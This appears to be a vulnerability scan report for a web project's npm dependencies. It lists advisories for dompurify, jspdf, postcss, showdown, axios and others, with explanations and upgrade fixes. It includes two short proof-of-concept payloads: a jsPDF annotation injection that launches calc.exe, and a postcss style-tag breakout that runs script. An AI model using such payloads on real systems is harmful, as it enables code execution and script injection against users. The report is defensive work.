  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade jspdf to version 4.2.1 or higher.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: @apidevtools/json-schema-ref-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 @apidevtools/json-schema-ref-parser@11.9.3
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 @apidevtools/json-schema-ref-parser@11.9.3

Overview

@apidevtools/json-schema-ref-parser is a Parse, Resolve, and Dereference JSON Schema $ref pointers

Affected versions of this package are vulnerable to Prototype Pollution in the Pointer.set process. An attacker can modify object prototype attributes by supplying crafted input to the process remotely.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade @apidevtools/json-schema-ref-parser to version 15.3.6 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers such as script, xmp, iframe, noembed, noframes, or noscript. An attacker can execute arbitrary JavaScript code in the client by crafting input that closes the special parsing context early and injects malicious markup, which is then interpreted during the second parse.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

medium severity

Permissive List of Allowed Inputs

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Permissive List of Allowed Inputs in the ADD_ATTR predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. An attacker can inject and execute malicious scripts in the DOM by bypassing URI validation for specific attribute and tag combinations, such as allowing href attributes with unsafe protocols like javascript:.

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Prototype Pollution in the USE_PROFILES function. An attacker can execute arbitrary JavaScript code in the context of the user’s browser by polluting Array.prototype with event handler attributes, causing the sanitizer to incorrectly allow dangerous attributes such as onclick.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: jspdf
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 jspdf@4.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 jspdf@4.1.0

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the createAnnotation() method, whose color parameter can be injected with script objects. An attacker can inject PDF objects as freetext annotations, which may be executed when a user opens the file.

PoC

import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');

Remediation

Upgrade jspdf to version 4.2.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: leaflet
  • Introduced through: leaflet@1.9.4 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron leaflet@1.9.4
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 leaflet@1.9.4

Overview

leaflet is a JavaScript library for mobile-friendly interactive maps

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the bindPopup method. An attacker can execute arbitrary JavaScript code in the context of a user's browser session by injecting malicious event handler attributes into popup content.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for leaflet.

References

medium severity

Missing Authorization

  • Vulnerable module: nodemailer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 mailparser@3.9.8 nodemailer@8.0.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 nodemailer@7.0.13

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: postcss
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6 postcss@8.4.31
    Remediation: Upgrade to next@16.3.0.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11 postcss@8.4.31

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade postcss to version 8.5.10 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: showdown
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/node@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/website-crawler@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 showdown@2.1.0

Overview

showdown is a JavaScript Markdown to HTML converter.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in metadata title handling, which inserts markdown frontmatter metadata into the HTML <title> element without escaping the less-than and greater-than characters. An attacker can inject arbitrary HTML and execute JavaScript in the rendered page by placing < and > characters in frontmatter metadata to break out of the title context. Exploitation applies only when the non-default completeHTMLDocument option is enabled and the application renders attacker-influenced markdown.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: showdown
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/node@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/website-crawler@0.114.0-2 showdown@2.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 showdown@2.1.0

Overview

showdown is a JavaScript Markdown to HTML converter.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the parseHeaders function. An attacker can execute arbitrary scripts in the context of users viewing rendered markdown by injecting specially crafted table header content containing double-quote characters, which are not properly escaped in the table header ID attribute. This can lead to the execution of malicious HTML or SVG elements when untrusted markdown is rendered with the default configuration.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
